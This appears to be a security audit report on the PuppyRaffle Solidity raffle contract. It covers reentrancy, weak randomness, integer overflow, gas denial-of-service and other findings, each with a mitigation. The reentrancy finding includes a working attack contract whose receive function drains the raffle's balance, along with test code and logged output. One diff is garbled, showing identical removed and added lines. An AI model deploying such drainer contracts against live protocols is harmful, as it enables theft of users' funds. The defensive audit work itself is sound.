PuppyRaffle Protocol Audit Report

Version 1.0

Cyfrin.io

March 14, 2024

Protocol Audit Report

Kamau Audits

March 14, 2024

Prepared by: Cyfrin Lead Auditors: - Kamau

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Kamau team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2
Total	13

Findings

High

[H-1] Calling the `send.Value` function in the `PuppyRaffle::refund` function before updating the state allows a potential Reantrancy attack as an attacker can call the refund function continously until all the funds in the raffle are all withdrawn.

Description:
The `PuppyRaffle::refund` function does not follow the CEI pattern where it has a extrenal payable function `sendValue` being called and then the state `players[playerIndex]` is updated. This presents a problem as an attacker might use this to his/her advantage by calling the external call to recall the `refund` function until all the funds have been sent to the attacker contract address.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  -->     payable(msg.sender).sendValue(entranceFee);
7          players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

Impact:
The `PuppyRaffle::refund` function will keep on being called over and over until the condition is met by the state. This will result in the loss of the entire funds in the Puppy raffle and cause the depletion of the puppy raffle.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balanace

The attacker balance before attack 0 The puppyRaffle balance before attack 4000000000000000000 The attacker balance after attack 5000000000000000000 The puppyRaffle balance after attack 0

details> PoC Place the following test into `PuppyRaffleTest.t.sol`

```
 function testReentrancy() public playersEntered {

        ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attacker).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();

        //check balance before attack
        console.log("attacker balance before attack",
            startingAttackContractBalance);
        console.log("puppyRaffle balance before attack",
            startingContractBalance);

        //check balance after attack
        console.log("attacker balance after attack", address(attacker).
            balance);
        console.log("puppyRaffle balance after attack", address(
            puppyRaffle).balance);

    }

contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
```

```
32      }
33
34      function attack() external payable {
35          address[] memory players = new address[](1);
36          players[0] = address(this);
37          puppyRaffle.enterRaffle{value: entranceFee}(players);
38
39          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
40
41          puppyRaffle.refund(attackerIndex);
42      }
43
44      receive() external payable {
45          if (address(puppyRaffle).balance >= entranceFee) {
46              puppyRaffle.refund(attackerIndex);
47          }
48      }
49
50
51  }
```

Recommended Mitigation: There are a few recommendations. They include:

1. Following the CEI(Checks, Effect, Interaction) pattern where the state is updated first before the external call is made.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   -->     players[playerIndex] = address(0);
7   -->     emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9
10      }
```

2. Using openzeppelin's Reentrancy Guard https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyG

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner of the raffle or the winning puppy

Description:
Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a pre-

dictable find number. A predictable number is not a good random number as malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This additionally means users could front-run this function and call `refund` if they see thay are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner 3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well documented attack vector (https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF. (https://docs.chain.link/vrf)

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    function testOverflow()public view{
        uint64 a =  0xffffffffffffffff;
        uint64 b = 1;
        uint64 c = a + b;

        // The result will be zero
        console.log("The result of C is :",c);

    }
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. Conclude a raffle of 4 players 2. Add 89 players for a new raffle and conclude it 3. Total fees will be :

```
totalFees = totalFees + uint64(fee);
//This will be
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

Code Add this to `PuppyRaffleTest.t.sol`

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could use the `SafeMath` lib of OpenZeppelin for version 0.7.6 of solidity but it will still be a bother if too many fees are collected 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicate in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack as gas costs increases as more participants are added

Description:
The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new players will have to make. This means the gas costs for the players entering the raffle initially will be really lower than those who enter the raffle later.

```
-->     for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
```

Impact:
The gas costs for raffle entrants will greatly increase as more players enter the raffle. This will discourage later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters. guaranteering themselves the win.

Proof of Concept: If we set 2 sets of 100 players enter, the gas costs will be as follows:

```
- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas
```

This is more than 3 times expensive for the second set of 100 players

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
// Proof of Concept
    //DOS Attack
    function testDenialOfService() public {
        vm.txGasPrice(1);
        // Test the first one hundered players
        uint256 playerNum = 100;
```

```
7           address[] memory players = new address[](playerNum);
8           for(uint256 i=0; i < playerNum; i++){
9               players[i] = address(i);
10          }
11          // Check for gas
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee* players.length}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
17          console.log("Gas used for the first 100 players ", gasUsedFirst
                );
18
19          // Test the second one hundered players
20          address[] memory playersTwo = new address[](playerNum);
21          for(uint256 i=0; i < playerNum; i++){
22              playersTwo[i] = address(i + playerNum);
23          }
24          // Check for gas
25          uint256 gasStartSecond = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
27          uint256 gasEndSecond = gasleft();
28
29          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
30          console.log("Gas used for the second 100 players ",
                gasUsedSecond);
31
32          assert(gasUsedFirst < gasUsedSecond);
33      }
```

Recommended Mitigation:

There are a few recommendations.

1. Allow duplicates- This is because the protocol checks duplicate wallet addresses and this doesn't mean a user can't have different address as they can create more than one address.
2. Consider using a mapping to check for duplicates - This would allow constant time lookup of whether the user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
```

```
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/

[M-2] Smart contract wallet raffle winners without a `receive` or `fallback` function will have their winnings reverted and block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function resets the lottery but if the winner is a smart contract wallet that rejects payment the lottery would be unable to restart

Users could easily call the `selectWinner` function again and non-wallet entrants could enter but would cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact:
The `PuppyRaffle::selectWinner` function could revert many times causing lottery reset difficult

True winners would also not get paid out and someone else could take the money.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation:
1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePLayerIndex` returns 0 for non-existent players and for players at index 0, casuing a player at index 0 to incorrectly think they have not entered the raffle

Description:
If a player is in the `PuppyRaffle::players` array at index 0, it will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1  function getActivePlayerIndex(address player) external view returns (
      uint256) {
2          for (uint256 i = 0; i < players.length; i++) {
3              if (players[i] == player) {
4                  return i;
5              }
6          }
7          return 0;
8      }
```

Impact:
A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. Users enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: 1. You could revert if the player is not in the array instead of returning 0 2. You could reserve the 0th position for any competition, but a better solution id to return an `uint256` where the function returns -1 if the player is not active

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
1  pragma solidity ^0.7.6;
```

[I-2] Using an outdated Solidity version is not recommended.

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks, We also recommend avoid using complex pragma statement.

Recommended Mitigation:
DEploy using any of the following versions:

`0.8.18`

The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) docs for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 65

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1          previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 188

```
1          feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle:: selectWinner` does not follow CEI, which is not best practice

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

```
+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+ uint256 public constant FEE_PERCENTAGE = 20;
+ uint256 public constant POOL_PRECISION = 100;
+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
+ uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
```

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensie than reading from a constant or immutable variable

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you are reading from storage, as opposed to memory which is gas efficient.

```
+ uint256 playersLength = player.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++)
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
```

```
7                 }
8             }
```